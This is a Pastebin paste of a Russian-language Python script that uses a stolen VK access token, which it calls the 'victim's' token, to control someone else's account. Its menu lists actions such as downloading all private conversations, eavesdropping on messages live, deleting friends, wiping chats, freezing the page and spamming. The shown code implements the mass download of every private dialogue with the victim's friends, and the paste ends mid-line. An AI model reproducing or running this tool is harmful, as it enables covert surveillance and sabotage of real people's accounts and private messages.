Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import vk_api
- import json
- import time
- import datetime
- import os
- import subprocess
- def cls():
- subprocess.call('cls', shell=True)
- def exxit():
- input('\n--------------------------------------------------------------------\n Нажмите Enter чтобы вернутся в меню')
- subprocess.call('color 0a', shell=True)
- try:
- open('token.txt','r').readline()
- except Exception:
- open('token.txt','w').write('')
- input('Введите TOKEN жертвы в token.txt и нажмите Enter:\n')
- cls()
- try:
- open('id.txt','r').readline()
- except Exception:
- open('id.txt','w').write('')
- input('Введите ID жертвы в id.txt и нажмите Enter:\n')
- cls()
- vk = vk_api.VkApi(token=open('token.txt','r').readline().strip())
- vk._auth_token()
- idshnik = open('id.txt','r').readline().strip()
- path = open('id.txt','r').readline().strip() + '_output'
- if not os.path.exists(path):
- try:
- os.makedirs(path)
- except OSError:
- print("Папка уже создана")
- cls()
- stroka=0
- offs = 0
- chat_idd = 1
- user_info = vk.method("users.get", {"user_ids": int(idshnik), "fields": ["first_name", "last_name"]})
- user_name = user_info[0]["first_name"]
- user_name1 = user_info[0]["last_name"]
- cls()
- while True:
- print('Эта программа была создана компанией Kersal Studio - vk.com/kersalstudio, \nзапуская программу вы соглашаетесь что не будете использовать программу во вред, и вся отвественность лежит на вас\n')
- print('User_ID: ' + str(idshnik))
- print('User_First_Name: ' + str(user_name))
- print('User_Last_Name: ' + str(user_name1))
- print('\nBETTA 0.1\n1.) Скачать все диалоги с друзьями\n2.) Получить список друзей\n3.) Получить список бесед\n4.) Массовый кик в беседе\n5.) Получить участников конкретной беседы \n6.) Очистить историю конкретной беседы\n7.) Очистить историю конкретного диалога\n(НЕ РАБОТАЕТ) || 9.) Очистить все диалоги с друзьями\n10.) Очистить все беседы \n11.) Изменить название конкретной беседы \n12.) Удалить аватарку конкретной беседы \n(НЕ РАБОТАЕТ) || 13.) Открепить сообщение в беседе\n14.) Получить список подписанных групп \n15.) Удалить всех друзей \n(НЕ РАБОТАЕТ) || 16.) Удалить всех подписчиков\n(НЕ РАБОТАЕТ) || 17.) Выйти из всех групп \n(НЕ РАБОТАЕТ) || 18.) Выйти из всех бесед \n19.) Поменять статус \n20.) Удалить все со стены \n21.) Кикнуть конкретного человека в беседе \n22.) Удалить конкретного друга \n(НЕ РАБОТАЕТ) || 23.) Удалить конкретного подписчика \n24.) Заморозить страницу \n25.) Онлайн прослушивание сообщений \n26.) Перевести всех друзей в чс \n27.) Убрать всех из чс \n28.) Добавить кого либо в чс \n29.) Убрать кого либо из чс \n30.) Скачать переписку конкретного человека \n31.) Скачать переписку конкретной беседы \n32.) Повторяющиеся статус \n33.) Написать кому либо \n34.) Написать на стене \n(НЕ РАБОТАЕТ) || 35.) Перевести свех подписчиков группы в бан \n(НЕ РАБОТАЕТ) || 36.) Удалить все посты в группе \n(НЕ РАБОТАЕТ) || 37.) Поменять настройки страницы \n(НЕ РАБОТАЕТ) || 38.) Включить троллинг режим \n39.) Сделать рассылку всем друзьям \n40.) Подписать на конкретную группу \n(НЕ РАБОТАЕТ) || 41.) Включить спам в беседе \n(НЕ РАБОТАЕТ) || 42.) Написать в конкретной беседе \n(НЕ РАБОТАЕТ) || 43.) Добавить конкретного человека в беседу \n(НЕ РАБОТАЕТ) || 44.) Начинать добавляться всем подряд в друзья \n(НЕ РАБОТАЕТ) || 45.)Выйти из конкретной группы\n')
- vibor = input('\n--------------------------------------------------------------------\nВведите цифру и нажмите Enter: ')
- cls()
- if vibor == '1':
- print('Началось скачивание переписок, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialog_IDДРУГА.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
- time.sleep(1)
- offs = 1
- end = 0
- get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
- for friend in get_friend["items"]:
- count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
- if count == 0:
- print('Ничего не найдено у ' + str(friend))
- else:
- print('Всего сообщений найдено: ' + str(count) + "\n" + " ID друга: " + str(friend) + '\n')
- offs = 1
- stroka = 0
- while offs < count:
- get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
- offs += 200
- for message11 in get_history["items"]:
- try:
- timestamp = int(message11["date"])
- value = datetime.datetime.fromtimestamp(timestamp)
- itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
- open(str(idshnik) + "_output" + "\\dialog_" + str(friend) +".txt",'a').write(' [' + str(stroka) + '] ' + itog)
- print('[' + str(stroka) +']' + itog)
- stroka=stroka+1
- end=end+1
- except Exception:
- print('Ошибка кодировки сообщения')
- print('\n----------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement